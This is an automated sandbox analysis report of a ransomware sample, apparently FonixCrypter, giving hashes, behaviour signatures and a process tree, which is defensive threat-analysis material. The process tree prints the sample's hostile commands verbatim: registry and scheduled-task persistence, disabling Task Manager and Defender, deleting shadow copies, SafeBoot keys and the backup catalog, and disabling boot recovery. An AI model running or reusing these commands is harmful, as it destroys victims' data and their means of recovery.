Overview

overview

9

Static

static

de8a4978d6...2e.exe

windows7_x64

9

de8a4978d6...2e.exe

windows10_x64

9

Resubmissions

24/10/2022, 14:59

221024-sczbashcfl 10

02/06/2020, 00:13

200602-s5zbncbaen 9

Analysis

  • max time kernel
    97s
  • max time network
    56s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    02/06/2020, 00:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe

  • Size

    6.0MB

  • MD5

    df472f90c33e6c341a74fe1ca29dac70

  • SHA1

    d7512488de06b677751014bdc48302c179542558

  • SHA256

    de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e

  • SHA512

    4257e88d9c6f5eec59d1da6749c386b3859be04159ec37aba2adb3704e5f2ce11ef3adfb086b86d1bea03db300e1d82cab08f266cf6fae4d8f929e71918ddcf9

Score
9/10
persistenceevasionransomwarediscovery

Malware Config

Signatures

  • Suspicious behavior: EnumeratesProcesses 112 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Disables Task Manager via registry modification
    evasion
  • Drops startup file 1 IoCs
  • Drops file in Program Files directory 11325 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies service 2 TTPs 4 IoCs
    persistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of WriteProcessMemory 78 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Adds Run entry to start application 2 TTPs 8 IoCs
    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery

Processes

  • C:\Users\Admin\AppData\Local\Temp\de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe
    "C:\Users\Admin\AppData\Local\Temp\de8a4978d6541c3abc958757d9fb3909c6cd58447a67877177c3434cb7438e2e.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops startup file
    • Drops file in Program Files directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %temp%/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:428
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /SC ONLOGON /TN fonix /TR C:\Users\Admin\AppData\Local\Temp/FonixCrypter.exe /RU SYSTEM /RL HIGHEST /F
        3⤵
        • Creates scheduled task(s)
        PID:3952
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:652
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:3196
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:920
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:988
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d %temp%FonixCrypter.exe /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "PhoenixTechnology" /t REG_SZ /d C:\Users\Admin\AppData\Local\TempFonixCrypter.exe /f
        3⤵
        • Adds Run entry to start application
        PID:828
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\SysWOW64\reg.exe
        reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        3⤵
          PID:1200
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1220
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          3⤵
            PID:1224
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1396
          • C:\Windows\SysWOW64\reg.exe
            reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
            3⤵
              PID:1472
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1512
            • C:\Windows\SysWOW64\reg.exe
              reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
              3⤵
                PID:1632
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin Delete Shadows /All /Quiet & wmic shadowcopy delete & bcdedit /set {default} boostatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet/ & icacls * /grant Everyone:(OI)(CI)F /T /C /Q
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3008
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c vssadmin Delete Shadows /All /Quiet
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3120
                • C:\Windows\SysWOW64\vssadmin.exe
                  vssadmin Delete Shadows /All /Quiet
                  4⤵
                  • Interacts with shadow copies
                  PID:3124
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic shadowcopy delete
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:872
              • C:\Windows\SysWOW64\icacls.exe
                icacls * /grant Everyone:(OI)(CI)F /T /C /Q
                3⤵
                • Modifies file permissions
                PID:1328
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Copy Cpriv.key %appdata%\Cpriv.key
              2⤵
                PID:1480
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Copy Cpub.key %appdata%\Cpub.key
                2⤵
                  PID:1472
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c Copy SystemID %appdata%\SystemID
                  2⤵
                    PID:1692
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Modifies service
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3608

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • memory/4004-71-0x0000000003790000-0x0000000003791000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-2-0x0000000002F90000-0x0000000002F91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-72-0x0000000002F90000-0x0000000002F91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-1-0x0000000003790000-0x0000000003791000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-0-0x0000000002F90000-0x0000000002F91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-14-0x0000000002F90000-0x0000000002F91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-16-0x0000000002F90000-0x0000000002F91000-memory.dmp

                  Filesize

                  4KB

                  Download

                • memory/4004-15-0x0000000003790000-0x0000000003791000-memory.dmp

                  Filesize

                  4KB

                  Download